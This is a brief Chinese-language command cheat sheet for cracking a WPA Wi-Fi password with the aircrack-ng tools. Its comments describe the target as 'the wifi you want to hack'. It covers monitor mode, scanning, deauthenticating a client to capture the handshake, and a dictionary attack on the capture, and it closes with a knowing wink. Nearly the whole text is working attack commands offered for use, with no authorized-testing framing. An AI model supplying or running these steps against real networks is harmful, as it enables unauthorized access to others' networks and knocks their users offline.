service network-manager stop //关闭网络服务

airmon-ng check kill // 清楚多余程序

iwconfig//查看网卡

airmon-ng start wlan0//打开无线网卡 最好用8187 3037的芯片

airodump-ng mon0 开始扫描wifi

airodump-ng --bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0 //找到你想黑的wifi XX为 mac地址

aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0 //截包

airmon-ng stop mon0//关闭网卡

service network-manager start //激活无线网卡 重新连上wifi

aircrack-ng tmp-01.cap -w /tmp/passwd.txt  //破解密码

最后你懂得~~~~